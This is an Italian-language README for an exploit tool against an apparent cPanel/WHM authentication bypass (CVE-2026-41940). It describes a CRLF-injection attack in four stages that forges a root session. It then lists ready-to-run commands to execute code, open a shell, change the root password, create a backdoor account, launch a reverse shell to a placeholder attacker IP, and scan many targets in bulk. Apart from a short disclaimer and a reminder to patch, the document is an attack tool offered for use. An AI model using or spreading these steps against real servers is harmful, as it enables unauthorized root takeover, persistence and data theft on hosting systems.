CVE-2026-41940: Bypass dell'autenticazione cPanel/WHM (singolo e multi-target)
Disclaimer: Questo documento e lo script associato (exploit.py) sono forniti esclusivamente a scopo didattico, di ricerca sulla sicurezza e di test di penetrazione autorizzati. Non utilizzare questo software contro sistemi che non possiedi o per i quali non hai un'autorizzazione esplicita al test.
Panoramica
exploit.py è uno script che dimostra una vulnerabilità di bypass dell'autenticazione (CVE-2026-41940) in cPanel & WHM. La vulnerabilità consente a un attaccante non autenticato di iniettare una sessione root nella cache del daemon tramite un difetto di iniezione CRLF, ottenendo infine accesso WHM a livello root senza richiedere credenziali valide.
Analisi della vulnerabilità e flusso dell'exploit
L'exploit sfrutta una vulnerabilità di iniezione CRLF (Carriage Return Line Feed) all'interno del meccanismo di gestione dell'Authenticazione di Base, combinata con un difetto di propagazione della sessione. Lo script automatizza l'attacco in quattro fasi:
- Creazione di una sessione pre-autenticazione: Si connette agli endpoint di login pubblici (es.
/login/ o /cgi/login.cgi) per ottenere un cookie di sessione non autenticato di base (whostmgrsession).
- Iniezione CRLF: Invia un header di Authenticazione di Base appositamente costruito contenente un payload codificato in Base64 che inietta i campi della sessione root direttamente nella cache di sessione di
cpsrvd. La risposta di redirect del server rilascia il token di sicurezza generato (cpsess).
- Propagazione della sessione: Il cookie di sessione grezzo viene inviato a un endpoint WHM autenticato, innescando
do_token_denied per propagare la sessione falsificata nella cache del daemon — rendendola una sessione autenticata valida.
- Verifica: Accede agli endpoint API WHM riservati (es.
/json-api/version) utilizzando la sessione falsificata per confermare l'accesso a livello root.
Prerequisiti
- Python 3.x
- Libreria
requests
Utilizzo
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
Argomenti
Selezione del target
| Argomento | Descrizione |
|---|
--target URL | Singolo URL WHM (es. https://target:2087) |
--target-file FILE | File con i target (uno ip:port per riga) — abilita automaticamente la modalità check |
Opzioni di rete e principali
Opzioni di sfruttamento (post-bypass)
Opzioni di output
| Argomento | Descrizione |
|---|
--output FILE | Salva il token di sessione e i dettagli in un file JSON |
Esempi
# Verifica se il target è vulnerabile
python exploit.py --target https://target:2087 --check
# Scarica le informazioni del server (versione, account, privilegi)
python exploit.py --target https://target:2087 --dump
# Genera un URL di login root a un clic (incollalo subito nel browser)
python exploit.py --target https://target:2087 --session
# Esegue un comando
python exploit.py --target https://target:2087 --exec "id"
# Apre una shell WHM interattiva
python exploit.py --target https://target:2087 --shell
# Cambia la password di root
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Chiama direttamente l'API WHM
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Crea un account cPanel backdoor
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Invia una reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Sovrascrive l'hostname (da usare quando l'auto-discovery fallisce)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Scansiona più target (modalità solo verifica)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Salva la sessione in un file
python exploit.py --target https://target:2087 --dump --output results.json
Comandi della shell interattiva
Quando si usa --shell, sono disponibili i seguenti comandi:
Promemoria
Applica immediatamente le ultime patch di sicurezza di cPanel/WHM.